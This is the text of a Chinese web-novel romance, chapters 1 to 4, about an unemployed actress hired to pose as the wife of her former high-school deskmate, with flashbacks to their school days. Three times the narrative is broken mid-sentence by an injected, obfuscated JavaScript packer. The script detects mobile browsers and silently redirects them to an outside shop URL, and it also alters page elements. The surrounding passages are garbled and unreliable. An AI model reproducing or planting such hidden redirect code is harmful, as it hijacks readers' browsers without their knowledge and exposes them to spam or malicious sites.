《我需要扮演他的妻子》 1. Chapter 1 老同学，打电话求我一叙。 他说话总是很开门见山。 “我需要你扮演我的妻子。” 我和黎玉钟确实很久没见了，但彼此都知道近况。我刚刚赋闲，准确的说，参加一个生活类综艺让我被骂惨了，现在属于什么本子都接不到的窘状。黎玉钟总是很轻松能打听到我。 “你梦到什么说什么吗？”我很冷静，怀疑他是因为太久没见到我，所以忘记我是什么性格，但他也不是那种满嘴跑火车的人啊。我说，你有什么难处你就说，虽然我一定帮不上忙。 “我没开玩笑。”他认真地说，“我们俩交情不错，上学就是这样，我想找信得过的人来演。” “我不演。” “一天五位数。” 沉默片刻，我问：“公公要骗谁啊？” “我姥姥。” 我陷入了更大的沉默。 黎玉钟的姥姥待我不薄，从小到大都很照拂我，特别是在知道我上学时家人照顾不来的时候，每次都叫黎家的佣人做两份饭，让黎玉钟给我送过来。可以说，是我的“衣食父母”了。 我沉吟片刻，“得加钱。” - 我真的好久没有和黎玉钟见面了。 上一次见面是什么时候？高中，高中毕业，对对对，那时候搞毕业汇演，不然也很难见到。当时我在学校里小有名气了，作为漂亮孩子，被国内顶尖大学的表演类专业录取。唉，那时候多天真啊，以为能关关难过关关过，如果能回到过去，未必不会好言劝自己别踏入演艺圈。 都是！糟心事！！ 以至于我和黎玉钟见面时，在街角，他喊了好几声我的名字，李君同，李君同，我都跟没听到一样。我的艺名是李心同，君那个字，我真压不住，压不住，也很久没有人这样喊我了。 “李君同。” 他第三遍的时候。 我听到了。 眼珠子从不远处光秃秃的树杈子上转回来，秋天，给人的感觉是干冽和一种无事生非的烦躁。 我见到黎玉钟，无非是这样的心情。 我实在没必要烦他。 三载同窗，两年同桌。 “同桌！”我就像那些三四十岁的中年大叔见到难觅的知己一样，羞涩一笑，手背掩住唇，摇摇晃晃地朝他走过去。他用一种“这么多年你难道就没发生点变化吗”的眼神盯着我。 “你确实……”他顿了顿，“没怎么变。” “你不也？”我拍了拍他的大衣，那面料一如既往的高级，他的时尚资源比我好，不开玩笑。我又说，“岁月没有在你的脸上留下痕迹啊，你做的哪家医美，价格不贵的话麻烦推我啊。” “……我不做那个。” 我哈哈大笑：“我知道！” 我们就在街边聊，还不进饭店，因为我刚点了一根烟。他也点了一根。令双方意外的是，他觉得我不会抽，我觉得他不会抽，但是我们双方都抽的很娴熟，我想起我们一起说教导主任的坏话，说他明明每次去厕所都是抽烟去的，都有学生听到打火机响了，老登还死不承认呢。 “他就是那样的人。” 黎玉钟说话略含糊。 他的嘴唇咬着烟，烟的那段咬着火星子，火星子的那端又咬着烟雾，这样说起话来明明很呛，很不爽利，但是他硬要这么做。他的人物底色是拧巴，班上人谈论什么，他硬挤也挤不进去。 黎玉钟在高中属于“边缘人物”。 我总是只能想起高中的事，关于他。因为太早的记不清了，大学和出社会后又没什么交集。好在他也没有变，我还生怕他被社会这个大染缸浸润成一个巧言令色，会看人颜色的家伙。 那就很不黎玉钟了。 黎玉钟确实是开门见山。等我抽完的时候，他也顺手把烟摁灭，对我说：“我需要一个妻子来应付姥姥，还有其余的家人。如果你有这个意愿的话，我们进去吃个饭，细细地谈一下。” 我说：“我不帮你，你就不能请我吃饭了？” “我不是那个意思。” “我知道你不是那个意思。”我心想，逗他是挺好玩的。但是也要注意分寸，我和他的关系毕竟不是以前那种“我单方面认为要好，但对他而言很有可能是困扰”，现在就纯是骚扰了。 我们就进饭店了。坐下，点菜，两个人实在没什么好点的。把菜单交给服务员，我和黎玉钟面面相觑，我想提出请求的人是他，他应该先起话头。但是他一直沉默，只是那样瞧着我。 “怎么演吧？”我就很直白地问。 “该怎么演，就怎么演吧。” “你又没点头绪！”我责备。 “我是说……演戏是你擅长的，所以你该怎么演就怎么演，我配合你，不让家里人发现就好。” 那还差不多。 我说：“你早说么。每次我都要费尽心思揣测你想法，揣测错了，你也不高兴，我也不高兴。这么多年了，你一见我就拜托我这事，也让我觉得很莫名。我以为你会找更熟的人做呢。” “……那你不做？” “诶，我没说！”我叹息，“行了啊，你这人轴轴的，太不会说话了，你应该跟我客套客套的。” “一个月五十万。” “义父。”我说。 “……” 他说：“先吃菜吧。” - 我问：“你怎么知道我缺钱？” 他筷子一顿，“你缺钱吗？” 他撒谎的时候就是这样，太好笑了，他明明是就算惊讶也不会表现出来的人。拙劣，拙劣的演技，拙劣的同桌。而且他竟然还找一个人来演他的老婆，脑子多有病的人才能干出这种事？ 脑子多有病的人才会接这种差事？ 我啊。 我也实在是，没辙了，没招了。我既没钱，刚和公司闹完解约，又没行程，一天到晚闲得能耕地。现在有个事给我做，就相当于有个人妻的本子来找我演，一个月的片酬就是五十万。 那还说啥了？ 说什么我都愿意做的。 我拿出十二分专业的态度：“剧本呢？我要扮演一个怎么样的妻子？有没有一份人物小纲？” “……暂时还没想好。” “我要演多久也不知道？” “你能演多久？” 我不假思索：“一个月五十万，你想让我演多久我就演多久，但前提是——你付得起多久？” “我付得起很久。” “很久是多久？” 他偏过头去，漆黑的眼睫毛轻轻翕动，灯光融软，落下的阴影是含糊的。我顿时警铃大作，生怕他说的那个“很久”是百八十年，他是有钱，但是我也不想像个傻子一样目瞪口呆。 “打住！”我清了清嗓子，“我恨有钱人，不要说了！这活儿让我来合计合计，首先，得编出一个咱俩多年后重逢再相爱的故事，能让你家里人信服，还要有爱人之间的亲密感，不能像刚才那样干瞪眼没话讲。还有，我需要知道扮演到哪一步，我们真得领证，呃，领个真证吗？” “对你的事业会有影响吗？” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808376|190758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那倒不至于……”以我目前的这个咖位，属于自杀都不会上头条的。各大明星抢热搜就跟疯了一样，轮不到我呢。要是真被曝出来十八线演员隐婚，对我的名声也很难说变得更坏。 “那就领吧。”他轻轻点头，像在说服自己。得了，我心想，我有那么不堪吗？再说我和他是真有感情好的时候，要不然他也不会来找我啊。我也怀疑他这么多年没和别的异性相好过。 就他那么无趣的人。 呵呵。 “什么时候去领？”他问。 我说：“你急什么啊？正常的程序应该是先见家长，爸妈，姥姥，给你们介绍一下，这是我女朋友小李，就是我那个高中同学。然后我就叔叔好阿姨好，姥姥，好久没见了，好想你！” “……你业务挺娴熟。” “这么个两三回合，我们就能宣布订婚的喜讯了，让家里人也有个准备。然后就那样，结婚，办婚礼，蜜月个两三礼拜，后面就可以正常各过各的，反正工作都很忙嘛，直到你终止。” 他聆听着，“嗯。” “话说你姥催你的婚也不是一年半载了，她老人家不是很康健吗？有必要闹这一出骗她？” “她老闹腾，麻烦。” “那也没有假结婚，找人来扮你妻子麻烦啊。”我皱了皱眉，“算了，你这人我确实不懂。” 他听到最后一句话，眉压住眼睛，瞪了我一眼。我知道说些贬低黎玉钟的话，他就会生气。但我说的又没错，并且他也不会真的放在心上。他生闷气的模样，就和上高中时如出一辙。 我不理解你，但你也成心没想让我弄懂。 我在心里说。 总之，关于如何扮演黎玉钟的妻子，我还需要仔细做做功课。我一会儿还有地方要去，但是，这场雨下得不是很凑巧，我又没开车出来。黎玉钟能送我一程的，我要提，他保准不拒绝。 “去对面的广场。”我说，“我报修的包真的得拿了，催了我好几次，可我最近都懒得出门。” “嗯。”他拧动车钥匙。 我又说：“这个包坏得特别离奇，是前男友送我的，我跟他提分手那天，突然，链子就断了。” “不凑巧。”他轻踩刹车。 “我没和你提过我分手了吧？” “没有。” “那不说了。” 都说了不说了，临到下车，他又问我：“你那个前男友……还是那个池建生吗？还是别的人？” “就是他啊，没别的，”我不假思索，“你放心好了，我这边会把关系处理得很明白，至少在扮你妻子这段时间，我不会找别的人啊。收一分钱做一份事，对了，你车上有伞给我一把？” “……有。”他递过来。 我接过，手指触碰到的一瞬间，电流窜过去，窜回来。就在接触的短短零点几秒内完成了。我有这样的感觉，毕竟现在关系不像以前那样好，至少不是无话不谈，还有一点，他不是我的同桌，而是个实打实的、陌生的、有利益交换的成年男性。我不想说，他其实又长帅了。 “那就先弄着，有头绪了联系。”我说。 “嗯，直接电话我。”他点了点头。 “行。”我简短，相应符合他的作风。我并不是那种绝情的人，老同学，又那么多年没见了，坐下来没聊两句，全是一些人情世故。但是，也有人情世故除外的东西，我不太愿意细想。 三载同窗， 两年同桌。 还有一年， 勉强算同居。 实在不该如此忸怩。 2. Chapter 2 等我有头绪的时候，我再次打给他：“这周末，怎么说？是不是应该去你家刷一刷好感度？” “行。”他说，“什么时候？” “下午吧。”我忙得目不暇接，“过二员没空跟你说，哦，买点小礼物……你这烟怎么给的？” 被抽死了。 气死我了。 “我说，”我总算能安心打电话了，“准备一些讨你家里人欢心的小礼物，你应该知道买吧。” 他迟疑片刻，“我没主意。” 我轻叹：“我更不知道你家里人喜欢什么。行吧，别磨叽了，你人在哪儿，方便见一面吗？” “我离上次见面的地方很近。” 那不就在我家楼下吗？ 起身穿衣：“我去找你。” 在上次见面的餐厅隔壁，一家咖啡厅。我其实没怎么休息好，一直在熬夜看电影、打游戏，正好需要咖啡提提神。就着这一口鲜热的奶铁，我打了个哈欠，“天气冷得我不想出门了。” 黎玉钟颔首：“不算暖和。” 我注意到他穿得非常少，宝蓝的薄棉服里竟然是一件短袖，一问才知道，他刚从公司健身房里出来。我不免感到愧疚，我好久没有做身材管理了，而他没有上镜的需求，却格外自律。 “你别冻着了呀。”我说，“本来高中那会儿就是一支筷子，现在工作压力更大，别猝死了。” 他说：“我会注意。你也是。” 我顿时没有话讲。 无论如何，黎玉钟给人的感觉就是太无聊了，于是在他的妻子的角色设定上，我觉得应该是一个能中和他的冷漠的温暖的人。至少，不能是我这种说话尖酸的机关枪，到时不能这样。 少说话，多微笑。 多，夸，奖。 我记在自己的备忘录里。 “礼物，”他终于主动抛出一个话题。谢天谢地，不然我都不知道他有没有把这笔买卖放在心上。他抿了抿唇，“我不是一定要你陪同我挑选，只是，我一个人的意见，算不上什么。” “我当然知道。” 他就不是那种爱麻烦别人的人。 挑选完礼物，黎妈妈的是一件丝绸披肩，黎爸爸的是一个镶金的打火机，姥姥的呢，黎玉钟说不用，你人到了就好，送礼物她反而觉得你和她生分。我想了想，有道理，听编导的吧。 “你吃过中饭了吗？”他又问。 “我？我早饭都没吃呢。” 他罕见地蹙了蹙那对浓眉，“早饭都没吃，但是能起得来打游戏？你的生活作息确实有问题。” “我没必要吃，我要保持身材。虽然最近复出无望了，但是，总是要上荧幕的，不能太放纵。” “……多少还是吃一点。”他低头看着手机，“我公司附近有一家不错的粥店，外卖送过来。” “玉米排骨粥。”我说。 他说：“嗯，我知道。” - 我们就在车上吃饭。其实我想起他有一点轻微的洁癖了，但是他自己都说不在意了，我还说什么呢。吃粥的时候我突然想到：“对了，如果你家人晚上留我住下，我们……睡一个房吗？” 这话也让他沉默了。 我想，他想要的只是一个妻子，可以应付他家人的皮套。至于其余的细节，他没想那没多。我也觉得自己问得有点太冒昧了，“你不行吧？”我埋头喝了一口粥，“你，你行还是不行？” “……没什么不行。” 那就对了。 我松了口气：“你就放开了想，因为你不仅是一个导演，一个老板，你还是个演员。不只是我要扮演你的妻子，你同样也要扮演我的丈夫啊。”这点我早就想说了，“可你一点也不上心！” 他愣了愣，“不上心？” “对啊，”我深深地谴责他，“你没有想过怎么表现吗？就像明天就要考试了，你连一套真题都不刷一下，而且你的理论知识也不丰富啊！你连我半句台词也接不上，你会被我轧戏的！” “被你轧戏会怎么样？” “就……显得你演技很差，不如我。” 他平静地说：“你是专业的，影大毕业，科班出身，我确实不如你。而且我确实很难撒谎。” “那你就要学啊，动起来啊！” 我经常说“动起来啊”，尤其是对他，高中那会儿，我是体育委员，他体能不好，非常不想跑步，拍拍他的肩膀，我说动起来啊。他总是需要别人一点点推着他，才去做不愿意的事。 诶，这样看来。 我对他的了解也不少。 “我在动。”他只会这么说。 那时候还真没往别处想，都是介于孩子和成年人之间的年龄，属于听说过，但不会胡乱想。现在他这么说，我还真不知道该不该开他的玩笑，但是，和黎玉钟么，算了吧，反正他。 也觉得我很轻佻。 - 到黎家，进主厅，被迎接，然后嘘寒问暖。对黎玉钟的母亲和父亲，我真算不上熟悉，他们也是近几年才回国。他姥姥我倒是，唉，很久没探望，要被揪住说一番，我感到头皮发麻。 我怎么扮演黎玉钟的妻子，真的，老人家打我上高中就看着我，等于是看我穿过开裆裤的，又在他家住过。当然，我是有非常好涵养的，专业的人做专业事，我就挽着黎玉钟的手臂。 “姥姥，是这样的，我和玉钟。” 我说着，紧了紧他的臂弯，甜蜜地望着他：“这么多年，最合适的人在身边，这样就很好。” 能清楚地感受到，黎玉钟的左臂一直是绷紧的状态，男主，你这也不行啊，演技太生硬了。我都要怀疑你是走后门进来的了。我心想，可不是么，他是资方，带资进组的是高贵些。 好在，黎玉钟因为平时就是一个刻板而木讷的人，无论他做出什么表情，都不会遭人怀疑。但可能是因为撒谎，他的耳尖越来越红了。他竟然还有台词，他说：“我也是，这些年一直。” 姥姥笑了起来。 就着老人家和蔼的笑声，我能相信这套说辞令她信服，同时也令其余的长辈们信服。于是我松了一口气，觉得黎玉钟也是如此。他似乎对给自己安排的台词相当满意，轻轻点了点头。 接下来就是很俗套的戏码了。 品茶，谈天，用过晚饭，在偌大的宅邸里逛来逛去，我觉得没什么变化，和多年前我来的时候比。黎姥姥带我去我以前住的客房，里面的摆设竟然完全没被动过，并且一点灰尘也没有。 等等。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808377|190758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>我如果感叹“还是我之前住的那样。” 保不准她就劝说。 “你的房间都留着呢，就希望你——” 今晚留这儿住下吧。 我面不改色：“好啊。” 我又看向黎玉钟，黎玉钟却没说什么。我想他难道不该以钦佩的眼神看向我吗？毕竟我完全预料到这种极端的情况，并且还有高超的临场反应。而且我们都商量好了，他对同房没意见。 “请吧，”我说，“你不是没来过这个房间。” 一瞬间，我感觉他的眼神里有什么变化，很慌乱的，像人突然跛脚了一下。好奇怪的比喻，我怎么这么想？我接着说：“嗯，就之前高三的时候啊，咱俩还在这张床上睡过，你忘——” 我发觉我这话说的有歧义，但我肯定他没有多想，因为他只是短促而有力地“嗯”了一声，抬脚走进去。顺手拿起桌上的一只随身听，他转过头来，看向我，“你的东西还留在这里。” “啊，”我皱着眉笑了一下，“上学没手机才用的玩意，老掉牙了，估计没充电也坏掉了吧。” 我懒散地倚靠在门框边，没休息好让我的眼睛有些疲惫，干涩，除了焦点里的人物，其他都有点虚晃。他站在光影清晰和模糊的边界，看不清表情，只能听到低沉的声音，“还能用。” 想必有表情的话，也一定不是什么好的表情。毕竟这个随身听承载着一些不算美好的回忆。当然，那是对于他来说，对于我来说，我这种恶趣味的人。我几乎忘了以前怎么对待的他。 他为什么会找我扮他的妻子？ 其实我还真有点不解。 真的。 他从桌子边上离开，在一旁的沙发上脱掉西装。我以为他是热了，但是他把西装平铺在那，他今晚该不会要在沙发上过夜吧？有必要那么凄惨？但我也没办法邀请他去睡床，他是肯定会谦让的，会拒绝，毕竟假扮的说到底也是假扮的。相较于我的轻佻，他是完全相反的人。 我挺佩服他。 我对那个老旧的黑色随声听也有兴趣，主要是它没坏，按理说这种年代的产物很难保持完好。我就走到桌边拿起它，它居然还有电量，可以亮屏。有音频被暂停了播放，我就下意识点开。 “I love you” 操。 耳机的线是坏的。 属于房间里另一个人的声音，从卡顿的扬声器里传出来。我想起它是怎么来到我的随身听里。有一次他在英语课上读一篇阅读，轮到他，就正好是这一句。我出于顽劣的心性录了下来。 我那段时间经常以此打趣他。 他每次对我爱答不理，我就把耳机塞进他的耳朵里，放这一句。黎玉钟往往面红耳赤，想抢我的随身听又不敢的样子，而且他也抢不过我，那时候他还体弱多病，力气没我的一半大。 “I love you” “I love you” 那道舒缓而青涩的英文还在循环，循环往复，我感觉耳朵里被挠了一下又一下，嘶，我恐怕要尴尬得疯掉了。就在我想摁停时，一道阴影落在我的头顶，然后是黎玉钟略用力的指腹。 I love …… 断掉的瞬间。 他说，“李君同。” 3. Chapter 3 我有点紧张，尽管我是无意的。但是他未必会相信，他又评价我这么多年来没变过，但我真觉得那是很久远的事情了。我以为和黎玉钟真的不会再有联系了，当时也是抱着那样的想法。 才会趁午休时偷偷吻他。 他不可能知道，教室里没人，又被课本遮挡起来。他永远不会知道，我冷静地想，他要是知道了肯定会疏离我的。但我转念一想，他没有疏离我也可能因为：他还不愿失去我这个朋友。 他是一个重感情的人。 我胡思乱想了很多，黎玉钟的脸近在眼前，没有咫尺那般亲密，但也是触手可及。我在想，要是现在亲上去是什么感觉，他八成会觉得我疯了。算了，他干嘛非要找我扮演他的妻子？ 我始终不明白。 他喊我的名字，我也不明白，过去那么久了，难道他还因为这点小事就耿耿于怀？我就问，怎么了。他问你还要不要，这个随身听。啊哈，他又想毁尸灭迹了，我真想说“我还要”。 我说：“谁要这玩意儿啊？” 他平静地说，那先放在我这里吧。 “也行。” 接下来呢，就没有大家期待的那样，发生一些不可言的事情。什么契约危婚：情人猛猛爱，或者京港夜浓，小说看多了，以为女的对男的有意思，男的对女的有意思，就可以滚床单了。 他睡沙发。 我睡床。 一夜无事。 - 演戏照演，来回几次，我在黎家也刷够了好感度。把婚定下来是在一个下午，从饭店出来，太阳很明媚，已经快要过年了，能感受到那种喜庆的氛围。都烘托到这里了，确实该如此。 我和黎玉钟是演的。 我扮演他的妻子。 想到能把所有人耍的团团转，我就觉得好笑，我没人能告诉，同学们知道我们订婚的喜讯，惊讶的也有高兴的也有，我若说“假的”，保准全部都变成惊吓，想到那些熟悉的惶恐的脸。 我觉得挺有意思。 人生如戏。 换做六年前的我也想不到，我结婚，居然是因为一场戏，准确的说，片酬在六位数到八位数不等的戏。原本参加综艺被全网黑的时候，我都有退圈的想法了，我觉得自己不适合这行。 我只是热爱演戏， 但没做好被人评判的准备。 之前饭圈有一种说法，“捂住耳朵向前冲”，说得那么轻巧，但一切带有表演性质的行为都是需要反馈的，没有一个人不在乎。演员就像花瓶，不是说没本事，是必须摆在那儿让人褒贬。 前经纪人在找我洽谈，我扣着手指头，静静地聆听。她走了之后我就无所事事了，现在我也走了，不知前途是何打算。她问我最近在忙什么，我说我忙着给人当老婆，她眼睛瞪大了。 “你说什么？！你怎么能结婚！” 我还没呢，我说。然后顺手递出我的婚礼请柬，以平和到诡异的语气，到时候你一定要来啊。 前经纪人骂我疯了，说小小风波就让我受这么严重的心理损伤，你以为被骂的人就你一个？互联网上天天有新料，你装死，人家就会视而不见，等风波过去再买点流量，也能继续挣钱。 “但我自己也觉得有点累了，”我坦言，“演没有水花的角色，起不来就推去参加综艺，作为绑定销售的产品，被塞进去的那个。我解约就是因为不想把路走成这样，我要什么体面啊？” 我语序有点乱，但她能理解。如果我要一份体面的话，大以混吃等死，要么彻底没用后被资本抛弃，要么还有点用处，用来捧公司后辈。不出错处，对一个女星而言就是最大的体面了。 “那你找好下家了吗？” 我平静地说：“我在筹钱。” “你筹钱干嘛，筹多少钱？” “等一个我喜欢的本子，拉赞助。” “好本子人人都争着拍，资本争着往里面送钱，你以为你能捞着什么好？再说你真有干出点大名堂的打算，又为什么要结婚？你今年二十七了，离三十还有几岁，够你被婚姻蹉跎？” 我心如明镜：“为了钱。” “……你还是走你最唾弃的那条路了？” “不是！”我把前因后果解释了一遍，“总之，他需要一个能应付家里的妻子，我正好是。” “他怕不是对你余情未了……” “你想多了，纯粹是交情好，”我这么认为，不是没有原因，“他要是真想和我发生点什么，早八百年就发生了，还用得着等到现在？一个男人为什么不主动，你认为还能是什么原因？” “嚯，是你对人家余情未了啊。” 我沉默片刻。 “谈过那才叫余情未了。” 前经纪人笑起来：“那倒也是。行了，看你还有打算，我就放心了，比我现在带的艺人好。” 她风风火火地来，风风火火地走了。前经纪人是个做事毛糙的性格，但，特别会为她手下的艺人着想。我心想她现在带的艺人是个幸运的家伙，只是，呆在前经纪人手底下，前途未必。 人太遵从规则，反而办不好事。 也没见几个好人能混得风生水起。 呵。 我正这样长吁短叹，刚刚谈论过的主人公就打来电话。黎玉钟问我有没有空。我那么闲，无论何时何地都有空，他想找我商讨一下订婚宴的事宜，没问题，我立刻起身，问他人在哪里。 “看外面。” 不会吧。 我暗自镇定。 转过头去，他就在那里，一块清澈得仿佛无物的玻璃后面。柔顺的发丝，暖姜色风衣，眼睛倒映着整个咖啡厅的影子。他比我嘴边的奶泡还要无辜一些，我注视着他，下意识舔唇角。 我有点紧张。 偶尔的见面，即便是虚伪的关系，交集也是蜻蜓点水。现在的他并不足以撼动我的芳心，且那东西我已经泯灭很久了。我感觉心脏在藕断丝连地扯动，为什么，大抵因为前几天的梦。 他在里面。 两种含义。我不懂我为什么会做那样的梦，难道最近真的内分泌紊乱了？我总不能因为那句“I love you”就小鹿乱撞，我压根不算是那么纯情的人，顶多算是我宴请了年少没能得逞的自己。我觉得是因为这个，因为没有和高中的黎玉钟在一起，因为我梦见的也是那时的他。 我能清楚地剖解自己的内心。 我敢肯定，就算现在的黎玉钟脱光了站在我面前，我同样对他没感觉。因为我的感觉纯粹来源于我年少时的悸动，那种暗戳戳、有点想出格但又束缚在皮囊里的骚情，现在已经没有了。 没人值得我那样。 尽管如此，当我醒来，平摊着四肢躺在床上，还是生出一种快乐的烦躁。黎玉钟来找我扮演妻子，我为什么答应下来，除了钱，好吧，就算不给我钱我肯定也乐于一试，他不会知道。 黎玉钟很无趣。 演别人的妻子很无趣。 扮演年少时爱而不得的人的妻子。 很有趣。 尤其当我从他家里人那里听说，这么多年他也没交往过别人。他像是真正停留在以前的人，用那双澄润而木讷的眼神，就那么直直地盯着你，如果他生气了，就会认真地喊你的名字。 “黎玉钟。” 所以，这次换我先喊他。 “你怎么在这儿？” 他走到我面前，说：“公司在这附近，订了下午茶，顺路来拿。”他身后还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808378|190758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟着他的几个同事，应该是下级，好奇而不失礼貌地打量我。黎玉钟介绍说，我是他的未婚妻，这三个字从他的口中说出，不乏诡异，不乏荒谬。如果让我突然听闻到他有未婚妻，恐怕也是如此的感受。 “等等，你是李心同吧？” 看来不是一个人都不认识我。我心想，从业快十载，难得留下些什么，但八成不是好的风评。他其余的同事就问，那是谁啊，一个演员，前段时间还参加《吃饭的好日子》，一档综艺。 “哦，她啊……” 我昂着头，努力忽视这些当着我的面的对白。它不够敞亮，也不给我脸上添光。公司指望我能像某些幸运的艺人，靠着综艺感让众人眼熟，但难免遭遇恶剪，毕竟有人的地方就有江湖。 黎玉钟问我，吃饭了没。 我感到很好笑，为什么总是问我这个，又不是饭点。但我确实没吃，我就说，先谈要事吧。他又问我方不方便去他公司，因为这里不是能安静谈事情的地方。我并没有什么不方便的。 去他的办公室。 一路上，我和他走在其余同事的后头。等到了他的公司，我去前台录入信息，拿到可以随意出入的门禁卡。其实没必要，我有什么情况会去公司找他呢，我又不是真的总裁夫人，需要煲点养胃的鸡汤对他嘘寒问暖。在电梯里他问我，刚才同事谈论我，会不会让我感到不爽。 “有点。”我实话实说。 我还挺好面子的。 我不是那种顶级坚强的人。 他说：“以后不会了。” 他低下头，一只手拎着咖啡袋，另一只手拿着手机打字。我猜他是在处理这件事，但没想到这么快，等抵达他办公的楼层，那几个员工已经在他的办公室门口，满含愧色地对我道歉。 我心想，那也没必要。 他这样搞得我真不会做人，显得像我很小心眼。最后一个员工关上他办公室的门时，我忍无可忍地对他说，“而且，被议论两句又不会怎么样，难道硬要别人住嘴，人家就不说了吗？” “会怎么样。”他说，“心情会差。” 我很想笑，他以前不是这种“英雄主义”的人，现在这样做，反而让我觉得很傻。纵然那些议论我的人叫我不舒服，但我更不适应他一副很能耐的样子。要知道，他以前多怕与人交际。 他几乎算得上“胆小”。 他现在已经能很果断地对别人说“不”了吗？黎玉钟，他。我替他感到欣慰，又不是滋味。这就和我印象里的他相去甚远了。他在人群里有了话语权，以前是我当那个拯救他的人呢。 这算我的失权吧。 我说：“心情差又不是因为被别人议论，而是因为他们说的那些都是对的，不然为什么跳脚？” “那就让他们别说。” 我笑了：“你啥时候是这样的人了？” 他顺着我的笑意，把那杯从见面就一直拎在手里的咖啡，递过来，顺着乌木桌沿到我面前。在我的视线落在上面【无糖零脂奶】的标签上时，他的视线也落在我脸上，我感觉到了。 抬头和他对视。 “我应该是什么样的人？”他问。 我感觉脸上有电流窜过。 我春梦的情人，这么说，吓到他，就像他突然问我能否扮演他的配偶。我不可能这么说的，这么多年我演的那么逼真，就是为了……总之我不可能叫他发现，我说，一个慷慨的好人。 我之前不是这么说的。 雨水从额发淌下来，冰冷，刺骨，在还没能力分辨好坏的年龄，我那么骄傲，为得到肤浅的关注而沾沾自喜。这时候他突然对我施以援手，我只会感受到侮辱，狠狠拍开他递来的伞。 我说：“你装什么好人？” 4. Chapter 4 “李君同，你这回是和那谁坐！” 每半学期一次大调，换座位。我指望遇见一个聊得来的同桌，虽然对排座位的班长谄媚些，也能达到目的，但是我没有那么做。原因很简单，我在班上受欢迎，任何人都不会想为难我。 我问：“谁啊？” 前同桌笑嘻嘻的：“你猜？” 我心说，不能是之前角落里那个邋遢的胖子吧。虽然刚经历过分班，彼此都不太熟悉，但不代表我想和不合眼缘的人坐到一块。我靠窗，淋着剔透的阳光，心想，最好别离开这位置。 我的脸被阳光一照，应该很迷人。 “我不知道。” “隔壁班来的，黎玉钟。” 我蹙眉，“那个是谁？” 那个是谁，我真不知道，如果是我不知道的人，大概率不是什么出名的，或者有趣的人。但前同桌又提示我，“思想者啊，就是你说得那个思想者。”我想起来了，我是起过那个绰号。 军训的时候，有个不用军训的人，任谁都会对他产生好奇和嫉妒。有一天，我和朋友们看到他坐在草地的长椅上，双腿之间夹着一本书，一手托腮，蹙眉深思。和他身后的雕塑很像。 的确很像。 朋友们开怀大笑。 后来我偶尔能碰到思想者，并且，因为我人缘广泛，这个绰号很快传开了。我无从得知绰号的本人是否喜欢它，不过，我也不在乎。我风趣、幽默，玩笑似的嘲讽一个和我素不相识的人，然后博得众人的关注和笑容。而且就算我冒犯到他，想必这样奇怪的人，也不敢追究我。 毕竟我那么漂亮。 那时的我，那时的李君同，骄傲、趾高气扬，人群的中心，除了出现在班级和走廊、操场，还出现在别人的口中，相册里，聊天框里，甚至，某封表白情书上。所以换座位时，我正在整理书桌里的信，摆放好它们，存放在一个铁盒里，我不在意里面的内容，只在意它的厚度。 我如此目中无人。 目空一切。 暂时想不到有哪位同龄人配得上我。 突然有人坐到我旁边的空位。前同桌的东西还没搬走，整间教室里都在换座位，嘈杂的“让一让”“借过一下”此起彼伏，我很好运，依旧安排在窗边属于我的原座。空气里满是尘埃。 我抬头和思想者对视。 其实我并不熟悉他，他的脸，他的性格，还有他是什么样的人。我没有抵触他成为我的同桌，别惹我不开心就好。他指尖夹着一封粉红的书信，看着我，嘴唇碰了碰，他说话声音很小。 听不清。 我挑眉：“给我的吗？” “掉在地上的。”他说。 哦。 切。 装什么哦。 他面无表情，让我觉得脸上挂不住，我误会了这个。算了，思想者，不过是个被我起外号的男生，他有什么出众吗？我观察着他苍白的脸，比其他人要柔软和浅淡的发色，阳光下泛着亚健康的黄。他不矮，但身形瘦弱，像女生穿着男生的校服，他的指尖泛着紧促的粉红色。 我接过，放进那只铁盒里。 他又说：“……我的位置。” “什么？”我真的听不清，桌子椅子挪的声音都很吵，我提高了音量，“你能大声一点吗？” 他的肩膀一颤，幅度很小，我猜是我的音量吓到了他。我有点厌恶，其实。我在所有同学和老师面前表现得善良、慷慨，不太议论别人的短处，但是，要面对我自己的内心，还是有点。 嫌弃？ 也说不好。 他也提高了音量： “你坐的是我的位置。” 原来是这事。我都忘记了，因为喜欢靠窗坐，所以每次都商量和坐在内侧的同桌换，基本上不会被拒绝，我也习惯了不被拒绝的请求。所以我同他商量我能坐窗边吗，没想到他拒绝我。 “我也想……” “哎呀，”我打断他，“我坐习惯了。” 我想，我应该找好了角度，让光晕正好落在我的鼻子上。我皱着眉头看向他，表现出无辜和央求。他一定不会拒绝我的，我自信地认为，很少有这种事发生，往往需要再央求个几遍，如果还不成，就佯装成宽容大度的模样，说，好啦，没关系的，把这件事轻飘飘地揭过去。 我在心底冷漠地想。 他沉默片刻，“也可以。” 